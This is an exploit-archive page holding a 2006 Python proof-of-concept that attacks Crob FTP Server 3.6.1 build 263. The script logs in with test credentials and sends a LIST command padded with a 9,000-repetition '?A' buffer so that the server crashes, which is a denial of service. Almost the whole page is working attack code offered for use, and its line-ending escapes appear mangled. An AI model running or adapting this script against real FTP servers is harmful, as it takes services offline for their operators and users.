[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Crob FTP Server 3.6.1 build 263 (LIST/NLST) Denial of Service Exploit
# Published : 2006-12-13
# Author : shinnai
# Previous Title : Kerio MailServer 6.2.2 preauth Remote Denial of Service PoC
# Next Title : ProFTPD <= 1.3.0a (mod_ctrls support) Local Buffer Overflow PoC 


import sys,os,string
import socket
import struct
import time

print "-----------------------------------------------------------------------"
print "# Crob FTP Server 3.6.1 b.263 LIST, NLST and NLST -al Denial of Service"
print "# url: http://www.crob.net/en/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot[org]"
print "# site: http://shinnai.altervista.org"
print "# and, always, special thanks to rgod"
print "-----------------------------------------------------------------------"


buffer = "?A" * 9000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
       conn = s.connect(("127.0.0.1",21))
except:
       print "- Unable to connect. exiting."

d = s.recv(1024)
time.sleep(1)
s.send('USER %srn' % "test")
time.sleep(1)
s.send('PASS %srn' % "test")
time.sleep(1)
s.send('LIST %srn' % buffer)
time.sleep(1)
s.send('HELP %srn')

# www.Syue.com [2006-12-13]